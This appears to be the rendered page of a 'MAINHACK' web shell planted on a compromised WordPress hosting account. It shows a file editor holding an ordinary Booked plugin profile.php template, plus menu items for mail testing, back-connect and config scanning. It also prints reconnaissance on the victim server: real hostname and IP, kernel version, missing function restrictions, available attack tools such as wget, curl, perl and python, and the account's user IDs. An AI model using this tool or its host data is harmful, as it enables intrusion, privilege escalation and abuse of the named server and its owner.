[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: profile.php
<?php global $error,$post; $booked_current_user = wp_get_current_user(); $profile_username = $booked_current_user->user_login; $my_id = $booked_current_user->ID; $my_profile = true; $user_data = get_user_by( 'id', $booked_current_user->ID ); ?><div id="booked-profile-page"<?php if ($my_profile): ?> class="me"<?php endif; ?>><?php if (empty($user_data)) { echo '<h2>' . esc_html__('No profile here!','booked') . '</h2>'; echo '<p>' . esc_html__('Sorry, this user profile does not exist.','booked') . '</p>'; } else { ?> <?php $user_meta = get_user_meta($user_data->ID); $user_url = $user_data->data->user_url; $user_desc = $user_meta['description'][0]; $h3_class = ''; ?> <div class="booked-profile-header bookedClearFix"> <div class="booked-info"> <div class="booked-user"> <div class="booked-user-avatar"><?php echo booked_avatar($user_data->ID,50); ?></div> <h3 class="<?php echo $h3_class; ?>"> <?php echo sprintf(esc_html__('Welcome back, %s!','booked'),'<strong>'.booked_get_name( $user_data->ID ).'</strong>'); ?> <?php if ($my_profile): ?> <a class="booked-logout-button" href="<?php echo wp_logout_url(get_permalink($post->ID)); ?>" title="<?php esc_html_e('Sign Out','booked'); ?>"><?php esc_html_e('Sign Out','booked'); ?></a> <?php endif; ?> </h3> </div> </div> </div> <ul class="booked-tabs bookedClearFix"> <?php $default_tabs = array( 'appointments' => array( 'title' => esc_html__('Upcoming Appointments','booked'), 'booked-icon' => 'booked-calendar', 'class' => false ), 'history' => array( 'title' => esc_html__('Appointment History','booked'), 'booked-icon' => 'booked-calendar-check-o', 'class' => false ), 'edit' => array( 'title' => esc_html__('Edit Profile','booked'), 'booked-icon' => 'booked-edit', 'class' => 'edit-button' ) ); echo apply_filters( 'booked_profile_tabs', $default_tabs ); ?> </ul> <?php $appointment_default_status = get_option('booked_new_appointment_default','draft'); if ( is_user_logged_in() && $my_profile ) : ?> <?php echo apply_filters( 'booked_profile_tab_content',$default_tabs ); ?> <?php endif; ?> <?php } ?> </div>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.71 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154